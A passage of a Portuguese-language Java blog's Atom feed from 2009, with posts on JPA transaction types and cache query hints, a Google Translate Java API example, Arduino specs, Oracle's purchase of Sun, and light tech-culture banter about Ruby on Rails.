{parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.forum-omondo.com/documentation_eclipseuml_2008/Eclipse_Database/Reverse_Existing_Database/generate_entities.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 463px; height: 652px;" src="http://www.forum-omondo.com/documentation_eclipseuml_2008/Eclipse_Database/Reverse_Existing_Database/generate_entities.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-8018871694134204284?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/8018871694134204284/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=8018871694134204284&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/8018871694134204284'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/8018871694134204284'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/05/ejb-3-persistence-no-glassfish.html' title='EJB 3 PERSISTENCE NO GLASSFISH'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-8492251607715030309</id><published>2009-05-20T12:42:00.000-07:00</published><updated>2009-05-27T14:13:48.620-07:00</updated><title type='text'>DEFININDO TRANSACTION TYPE NO PERSISTENCE UNIT</title><content type='html'>Esta pode ser a origem do seu problema:&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;[TopLink Warning]: 2008.11.04 12:51:11.184--ServerSession(31768270)--PersistenceUnitInfo "NOME_DO_MEU_PERSISTENCE_UNIT" has transactionType RESOURCE_LOCAL and therefore jtaDataSource will be ignored &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Um problema muito rotineiro é quando o tipo de transação esta como RESOURCE_LOCAL, mas o que precisamos é outra coisa, como por exemplo JTA, vejamos um exemplo de como alterar o tipo em menos de 10 segundos (ainda sobrará tempo pra um gole de café):&lt;br /&gt;&lt;br /&gt;Vá no seu persistence unit e altere a propriedade transaction-type:&lt;br /&gt;&lt;br /&gt;Era assim (com transaction-type="RESOURCE_LOCAL" implicitamente):&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&amp;lt;persistence-unit name="NOME_DO_MEU_PERSISTENCE_UNIT" &amp;gt; &amp;lt;jta-data-source&amp;gt;definições do meu datasource&amp;lt;/jta-data-source&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;vai ficar assim:&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&amp;lt;persistence-unit name="NOME_DO_MEU_PERSISTENCE_UNIT" transaction-type="JTA" &amp;gt; &amp;lt;jta-data-source&amp;gt;definições do meu datasource&amp;lt;/jta-data-source&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;AGORA TU ESTARÁ MANDANDO O JTA-DATASOURCE SER EXPLICITAMENTE USADO&lt;br /&gt;&lt;br /&gt;Abraços e esperamos ter ajudado você, na solução de algum bug. Lembrem-se, nos detalhes que mora o perigo, essa pequena alteração demonstrada aqui pode fazer grande diferença na maneira como a instância do seu entityManager é montada.&lt;br /&gt;&lt;br /&gt;Valeu&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-8492251607715030309?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/8492251607715030309/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=8492251607715030309&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/8492251607715030309'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/8492251607715030309'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/04/definindo-transaction-type-no.html' title='DEFININDO TRANSACTION TYPE NO PERSISTENCE UNIT'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-4990283873437328910</id><published>2009-05-18T12:45:00.000-07:00</published><updated>2009-05-27T14:14:47.449-07:00</updated><title type='text'>Cache de entidades JPA / Providers</title><content type='html'>Quanto se trabalha com entidades JPA, sabemos que o tempo de sincronização dos dados contidos no EntityManager com os dados armazenados no banco, é pré-definido, então em muitos casos quando uma consulta não traz o resultado esperado no instante em que a query foi executada, pode ser que exista cache agindo sobre essa consulta. &lt;br /&gt;&lt;br /&gt;Outros exemplos: &lt;br /&gt;&lt;br /&gt;- Quando você faz uma inserção diretamente no banco ( sem a execução de um merge ou persist através do E.M. ).&lt;br /&gt;&lt;br /&gt;- Quando existe a execução de uma stored procedure ou package, que faz inserção de dados em banco ( mesmo se esta for chamada como Native Query no E.M. já que o executor será o próprio banco de dados ).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Para solucionar esse problema, utilizamos Hints, esses são propriedades setadas na própria query antes da mesma ser executada no EntityManager, esses hints podem variar de acordo com o provider utilizado.&lt;br /&gt;&lt;br /&gt;Esses são detalhes muito importantes que no caso do aprendizado prático, acaba-se deixando de lado, mas é bom sabermos que CACHE faz parte de JPA e precisa ser tratado com determinada importância. Traz grandes benefícios de performance e robustêz à sua aplicação.&lt;br /&gt;&lt;br /&gt;Podemos citar os principais providers e seus respectivos hints:&lt;br /&gt;&lt;br /&gt;IBM WEBSPHERE:&lt;br /&gt;com.ibm.websphere.jpa.default.provider&lt;br /&gt;&lt;br /&gt;ORACLE TOPLINK:&lt;br /&gt;oracle.toplink.essentials.PersistenceProvider&lt;br /&gt;&lt;br /&gt;HIBERNATE:&lt;br /&gt;org.hibernate.ejb.HibernatePersistence&lt;br /&gt;&lt;br /&gt;Como esse é um vasto assunto e estamos falando de cache, vamos citar os principais Hints para refresh:&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;************************************&lt;br /&gt;--- Toplink&lt;br /&gt;&lt;br /&gt;** Por anotação&lt;br /&gt;&lt;br /&gt;Example: JPA Query API&lt;br /&gt;&lt;br /&gt;import oracle.toplink.essentials.config.HintValues;&lt;br /&gt;import oracle.toplink.essentials.config.TopLinkQueryHints;&lt;br /&gt;query.setHint(TopLinkQueryHints.REFRESH, HintValues.TRUE);&lt;br /&gt;&lt;br /&gt;Example: @QueryHint&lt;br /&gt;&lt;br /&gt;import oracle.toplink.essentials.config.HintValues;&lt;br /&gt;import oracle.toplink.essentials.config.TopLinkQueryHints;&lt;br /&gt;@QueryHint(name=TopLinkQueryHints.REFRESH, value=HintValues.TRUE);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;** no orm.xml&lt;br /&gt;&amp;lt;entity-mapping&amp;lt;&lt;br /&gt;    ...&lt;br /&gt;   &amp;lt;named-query name="findEmployeesWithName"&amp;gt;&lt;br /&gt;&lt;br /&gt;        &amp;lt;query&gt;SELECT e FROM Employee e WHERE e.name LIKE :empName&amp;lt;/query&amp;gt;&lt;br /&gt;        &amp;lt;hint name="toplink.refresh" value="true" /&amp;gt;&lt;br /&gt; &amp;lt;hint name="toplink.refresh.cascade" value="CascadeAllParts" /&amp;gt;&lt;br /&gt;    &amp;lt;/named-query&amp;gt;&lt;br /&gt;    ...&lt;br /&gt;&amp;lt;entity-mapping&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;** no código&lt;br /&gt;//query ... my query..&lt;br /&gt;query.setHint("toplink.refresh", true);&lt;br /&gt;query.setHint("toplink.refresh.cascade", "CascadeAllParts");&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Obs: veja que nesse caso do toplink tanbém existe a propriedade cascade, que faz um refresh tanbém de outros objetos relacionadas com sua Entity.&lt;br /&gt;&lt;br /&gt;Leitura:&lt;br /&gt;&lt;a href="http://download.oracle.com/docs/cd/B32110_01/web.1013/b28221/ent30qry003.htm" target="_blank"&gt;Mais hints oracle toplink&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;************************************&lt;br /&gt;---- Eclipselink&lt;br /&gt;&lt;br /&gt;*** Anotação&lt;br /&gt;@NamedQuery(name="findEmployeeNoCache",&lt;br /&gt;            query="SELECT e FROM Employee e WHERE e.id = :empId",&lt;br /&gt;            hints={@QueryHint(name="eclipselink.cache-usage", &lt;br /&gt;                              value="DoNotCheckCache")})&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;*** orm.xml&lt;br /&gt;&amp;lt;entity-mapping&gt;&lt;br /&gt;    ...&lt;br /&gt;    &amp;lt;named-query name="findEmployeesWithName"&amp;gt;&lt;br /&gt;&lt;br /&gt;        &amp;lt;query&amp;lt;SELECT e FROM Employee e WHERE e.name LIKE :empName&amp;lt;/query&amp;gt;&lt;br /&gt;        &amp;lt;hint name="eclipselink.cache-usage" value="DoNotCheckCache"/&amp;gt;&lt;br /&gt;    &amp;lt;/named-query&amp;gt;&lt;br /&gt;    ...&lt;br /&gt;&amp;lt;entity-mapping&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Leitura&lt;br /&gt;&lt;a href="http://www.redbooks.ibm.com/redbooks/SG245958.html" target="_blank"&gt;Documento completo direto do site da IBM&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://wiki.eclipse.org/Developing_Applications_Using_EclipseLink_JPA_(ELUG)#What_You_May_Need_to_Know_About_Query_Hints" target="_blank"&gt;Tudo o que você precisa saber sobre Query Hints&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;************************************&lt;br /&gt;---Hibernate&lt;br /&gt;&lt;br /&gt;***** No código:&lt;br /&gt;query.setHint("org.hibernate.cacheMode", CacheMode.REFRESH)&lt;br /&gt;&lt;br /&gt;ex: q.setHint("org.hibernate.cacheable", true);&lt;br /&gt;&lt;br /&gt;Assinatura:  org.hibernate.cacheable - true/false&lt;br /&gt;&lt;br /&gt;Assinatura:  org.hibernate.cacheMode - NORMAL / IGNORE / GET / PUT / REFRESH&lt;br /&gt;&lt;br /&gt;Assinatura: org.hibernate.cacheRegion - String&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Leitura:&lt;br /&gt;&lt;a href="http://forum.springframework.org/showthread.php?t=38371" target="_blank"&gt; Uma discussão muito boa sobre o assunto, site spring framework&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br/&gt;&lt;br /&gt;&lt;br/&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-4990283873437328910?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/4990283873437328910/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=4990283873437328910&amp;isPopup=true' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/4990283873437328910'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/4990283873437328910'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2008/11/cache-de-entidades-jpa-providers.html' title='Cache de entidades JPA / Providers'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-6219030814648981069</id><published>2009-05-17T09:33:00.000-07:00</published><updated>2009-05-27T14:15:26.782-07:00</updated><title type='text'>Api de tradução do google em Java</title><content type='html'>Pessoal&lt;br /&gt;&lt;br /&gt;Venho trazer essa informação que para mim é nova, um programador chamado Rich Midwinter disponibiliza uma api para Java que contém funcionalidades para que usemos sua tradução em nossos sites, ele disponibiliza o projeto na àrea de programação do google, segue abaixo um exemplinho básico:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;import com.google.api.translate.Language;&lt;br /&gt;import com.google.api.translate.Translate;&lt;br /&gt;&lt;br /&gt;public class Main {&lt;br /&gt;  public static void main(String[] args) {&lt;br /&gt;    try {&lt;br /&gt;      String translatedText = Translate.translate("Salut le monde", Language.FRENCH, Language.ENGLISH);&lt;br /&gt;      System.out.println(translatedText);&lt;br /&gt;    } catch (Exception ex) {&lt;br /&gt;      ex.printStackTrace();&lt;br /&gt;    }&lt;br /&gt;  }&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Já aplicamos aqui no &lt;a href="http://informativogeral.com.br"&gt;informativogeral.com.br&lt;/a&gt; agora você, que não fala português, pode ler este texto em inglês, sem precisar dirigir-se ao google para obter a tradução.&lt;br /&gt;&lt;br /&gt;Você que é desenvolvedor, confira os links direto do site de códigos do google:&lt;br /&gt;&lt;br /&gt;Essa é a URL do projeto:&lt;br /&gt;&lt;a href="http://code.google.com/p/google-api-translate-java/"&gt;http://code.google.com/p/google-api-translate-java/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Neste mesmo endereço você encontra a api para download. &lt;br /&gt;&lt;br /&gt;Um Abraço.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-6219030814648981069?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/6219030814648981069/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=6219030814648981069&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/6219030814648981069'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/6219030814648981069'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/02/api-de-traducao-do-google-em-java.html' title='Api de tradução do google em Java'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-6734607868919793689</id><published>2009-05-16T09:37:00.000-07:00</published><updated>2009-05-27T14:12:51.491-07:00</updated><title type='text'>OS MELHORES NA CAMA SÃO OS NERDS</title><content type='html'>Segundo o site da Abril, os nerds são os melhores na cama, as informações são à partir de um estudo feito, veja:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;SÃO PAULO – Um estudo realizado na Inglaterra mostra que os profissionais da área de TI são os mais preocupados com o parceiro na hora do sexo.&lt;br /&gt;&lt;br /&gt;A pesquisa, realizada pelo site PS3PriceCompare, perguntou a 2084 homens e mulheres (56% do sexo masculino e 44%, feminino) segmentados em sua profissões algumas questões relacionadas a sua rotina sexual. Quando perguntados se consideravam as necessidades do seu parceiro acima das suas, 82% dos “IT workers” responderam que sim, contra 74% dos segundos colocados, os trabalhadores de escritórios, e 41% que trabalham com esporte e fitness – últimos colocados.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;FONTE: &lt;br /&gt;Abril &lt;a href="http://info.abril.com.br/noticias/ciencia/nerds-sao-melhores-na-cama-diz-estudo-23052009-6.shl" target="_blank"&gt;http://info.abril.com.br/noticias/ciencia/nerds-sao-melhores-na-cama-diz-estudo-23052009-6.shl&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-6734607868919793689?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/6734607868919793689/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=6734607868919793689&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/6734607868919793689'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/6734607868919793689'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/05/os-melhores-na-cama-sao-os-nerds.html' title='OS MELHORES NA CAMA SÃO OS NERDS'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-7052146934082838439</id><published>2009-04-29T12:28:00.000-07:00</published><updated>2009-04-29T12:31:21.198-07:00</updated><title type='text'>OS CARAS DO RUBY ON RAILS ME ASSUSTAM</title><content type='html'>Esta rolando na internet a fama de que o pessoal do Ruby on Rails não gosta de mulheres, ao que parece a fama ta ganhando força, fala-se muito dos programadores java, que o programador java é isso, que o programador java é aquilo, então para animar um pouquinho essa richa, vamos falar dessas estranhas e até assustadoras opções dos nossos amigos do Ruby. Poxa vida, o programador Java pode até ser Nerd, macaco de código, escovador de bit, mas NÓS GOSTAMOS DE MULHERES. Botando mais fogo na lenha, não vou nem entrar nos méritos de falar sobre Phyton, esses veneram a COBRA, por isso prefiro distância, tomar meu cafézinho e relaxar programando um código que pode ter sido escrito até por uma mulher. Java é tão bom que tem lugar para todos. Xô anarquistas. Por:  &lt;a href="http://www.polentero.com.br" target="_blank"&gt;Polentero&lt;/a&gt; &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_SxFsrdZOeGg/Ri5BrEqa1lI/AAAAAAAAAOE/05L0LMLBxbk/s400/nerd+do+di9.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 400px; height: 386px;" src="http://3.bp.blogspot.com/_SxFsrdZOeGg/Ri5BrEqa1lI/AAAAAAAAAOE/05L0LMLBxbk/s400/nerd+do+di9.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Abaixo confiram a matéria completa, na íntegra.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;span style="font-weight:bold;"&gt;Problemas no Ruby on Rails: não gostamos de mulheres&lt;br /&gt;&lt;br /&gt;No sentido de que elas não são bem-vindas a ponto de um dos evangelistas da tecnologia, Mike Gunderloy, resolveu abdicar de seu cargo.&lt;br /&gt;&lt;br /&gt;Existem discussões em andamento na comunidade do Ruby on Rails (RoR), uma plataforma para desenvolvimento ágil na web, sobre a contribuição feminina e se elas se sentem à vontade na comunidade. A resposta não poderia ser mais século XIX: não.&lt;br /&gt;&lt;br /&gt;É um fato conhecido a falta de envolvimento na área de exatas e computação, mas ele parece agravado nas comunidades de software livre. Numa conferência de Rails, o recorde foi de 10 mulheres entre mais de 200 homens. Mas parece que o buraco é mais embaixo e a lama foi jogada de vez no ventilador com esse post do A Fresh Cup, blog do próprio Mike, em que ele renuncia:&lt;br /&gt;&lt;br /&gt;"But unfortunately for me, in parallel to the public discussion there&lt;br /&gt;have been private ones. I can’t reveal details without breaking&lt;br /&gt;confidences, but suffice it to say that a significant number of Rails&lt;br /&gt;core contributors - with leadership (if that’s the right word) from DHH&lt;br /&gt;- apparently feel that being unwelcoming and “edgy” is not just&lt;br /&gt;acceptable, but laudable. The difference between their opinions and&lt;br /&gt;mine is so severe that I cannot in good conscience remain a public&lt;br /&gt;spokesman for Rails."&lt;br /&gt;&lt;br /&gt;Tradução Livre:&lt;br /&gt;&lt;br /&gt;"Mas infelizmente para mim, em parelo a discussão pública, algumas foram privadas. Não posso revelar detalhes sem quebrar confidências, mas é suficiente dizer que um número significante de colaboradores do núcleo do Rails - com liderança (se essa é a palavra correta) do David Heinemeier Hansson (DHH) - aparentemente acham que não ser hospitaleiro é aceitável como também comendável. A diferença entre as opiniões deles e a minha são tão severas que eu não posso em boa consciência continuar como um representante público do Rails."&lt;br /&gt;&lt;br /&gt;Mulheres interessadas em contribuir com comunidades livres, um recado para vocês: existem várias outras que querem e precisam de mais colaboradoras. O pensamento misógino e imbecil de uns não deve contaminar o restante. Se eles não gostam de mulher trabalhando com computação, vinguem-se não deixando esse povo se reproduzir. A seleção natural e a evolução cuidam do resto.&lt;br /&gt;&lt;br /&gt;Fontes: The ghetto of the mind, Rails *is* (still) a Ghetto, What works? Getting more women involved in open source&lt;br /&gt;&lt;br /&gt;[atualização] A controvérsia começou com uma apresentação de Matt Aimonetti que usou imagens de gosto duvidoso e temática questionável, de nome "CouchDB - Perform like a pr0n star". A apresentação pode ser vista neste link - Cardoso&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;FONTE:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" href="http://meiobit.pop.com.br/meio-bit/open-source/problemas-no-ruby-on-rails-nao-gostamos-de-mulheres"&gt;Site MeioBit&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-7052146934082838439?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/7052146934082838439/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=7052146934082838439&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/7052146934082838439'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/7052146934082838439'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/04/os-caras-do-ruby-on-rails-me-assustam.html' title='OS CARAS DO RUBY ON RAILS ME ASSUSTAM'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_SxFsrdZOeGg/Ri5BrEqa1lI/AAAAAAAAAOE/05L0LMLBxbk/s72-c/nerd+do+di9.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-511104217074861578</id><published>2009-04-28T14:09:00.001-07:00</published><updated>2009-04-28T14:11:15.525-07:00</updated><title type='text'>OPEN HARDWARE</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://rafaelquines.com/img/arduino.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 316px; height: 220px;" src="http://rafaelquines.com/img/arduino.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Arduino Placa de Desenvolvimento Open-Source&lt;br /&gt;&lt;br /&gt;Arduino é um projeto de circuito baseado em microprocessador de código aberto, da indústria Atmel. Uma placa física em código aberto baseada em um circuito de entradas/saídas simples. É também um ambiente de desenvolvimento do software Arduino. Sua linguagem de programação Arduino é uma implementação do Wiring, construída em Processing.&lt;br /&gt;&lt;br /&gt;O Arduino pode ser usado para desenvolver objetos interativos, tomando entradas de vários switches ou sensores, e controlando uma variedade de luzes, motores, mecanismos, entre outras saídas. Os projetos do Arduino podem tanto ser autônomos, como se comunicar com softwares.&lt;br /&gt;As placas podem ser montadas à mão ou compradas; o código fonte IDE é livre, podendo ser baixado no próprio site do Arduino.&lt;br /&gt;&lt;br /&gt;Como o Arduino é um produto dos EUA, por ser de código aberto, as empresas de desenvolvimento de hardware muitas vezes desenvolvem as suas. Por exemplo, eu comprei a Tatuino que é a versão fabricada pela Tato 100% compatível com o Arduino. Como o Tatuino, existem Severino, Freeduino, etc.&lt;br /&gt;&lt;br /&gt;É uma excelente placa de desenvolvimento para quem precisa fazer projetos de hardware, e muitas vezes não tem tanto conhecimento de eletrônica. Já tem na internet uma série de bibliotecas (C++) que podem ser incluídas no seu código fonte p/ as mais variadas funções, ex: Serial, Interrupção de Timer, Manchester (RF), etc. Segue as especificações:&lt;br /&gt;&lt;br /&gt;Microcontroller ATmega168&lt;br /&gt;Operating Voltage 5V&lt;br /&gt;Input Voltage (recommended) 7-12 V&lt;br /&gt;Input Voltage (limits) 6-20 V&lt;br /&gt;Digital I/O Pins 14 (of which 6 provide PWM output)&lt;br /&gt;Analog Input Pins 6&lt;br /&gt;DC Current per I/O Pin 40 mA&lt;br /&gt;DC Current for 3.3V Pin 50 mA&lt;br /&gt;Flash Memory 16 KB (of which 2 KB used by bootloader)&lt;br /&gt;SRAM 1 KB&lt;br /&gt;EEPROM 512 bytes&lt;br /&gt;Clock Speed 16 MHz&lt;br /&gt;&lt;br /&gt;E o mais interessante é que não necessita de nenhum hardware adicional para fazer a gravação no microcontrolador. Ele já vem com um BootLoader, capaz de receber todo o seu programa via serial (no caso do Arduino, ele vem com um CI da FTDI que transforma USB x Serial, assim pode conectar na USB do PC). Mas com essas especificações, já dá pra brincar um pouquinho neh… &lt;br /&gt;&lt;br /&gt;FONTE: Rafael Quines - &lt;a target="_blank" href="http://www.rafaelquines.com/blog/2008/09/arduino-open-source/"&gt;http://www.rafaelquines.com/blog/2008/09/arduino-open-source/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-511104217074861578?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/511104217074861578/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=511104217074861578&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/511104217074861578'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/511104217074861578'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/04/open-hardware.html' title='OPEN HARDWARE'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-7735441151059222037</id><published>2009-04-20T09:44:00.000-07:00</published><updated>2009-04-20T09:55:05.104-07:00</updated><title type='text'>ORACLE COMPRA A SUN</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.informativogeral.com.br/img/oracle_buy_sun.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 547px; height: 255px;" src="http://www.informativogeral.com.br/img/oracle_buy_sun.JPG" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Por incrível que pareça, não é piada!&lt;br /&gt;&lt;br /&gt;A Oracle anuncia a compra da Sun Microsystems no dia 20/04/2009, esta é uma data histórica, pois marca um acontecimento no mínimo inusitante. Para quem não sabe, a Sun é a empresa detentora dos direitos da Linguagem Java, poderosa por sua grande variedade de soluções tecnológicas conquistou o mundo inteiro com a extrema qualidade de seus produtos. Em meio à essa crise mundial, esse é o fato que mais me chamou a atenção. &lt;br /&gt;&lt;br /&gt;A Oracle cresce mais ainda e agora, ao menos financeiramente controla uma gigantesca fatia do mercado de diversas àreas da Informática. &lt;br /&gt;&lt;br /&gt;Cada vez mais emocionante se torna a briga dos gigantes, cada vez mais gigantes. Microsoft x Oracle. Microsoft x Google se tratando específicamente do mercado Web.&lt;br /&gt;&lt;br /&gt;É, parece que quase 30 anos depois a soberana Microsoft esta encontrando pela frente um exército cada vez mais forte, na concorrência do mercado de TI mundial.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.oracle.com/sun/index.html" target="_blank"&gt;Veja mais detalhes no site oficial da oracle&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-7735441151059222037?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/7735441151059222037/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=7735441151059222037&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' 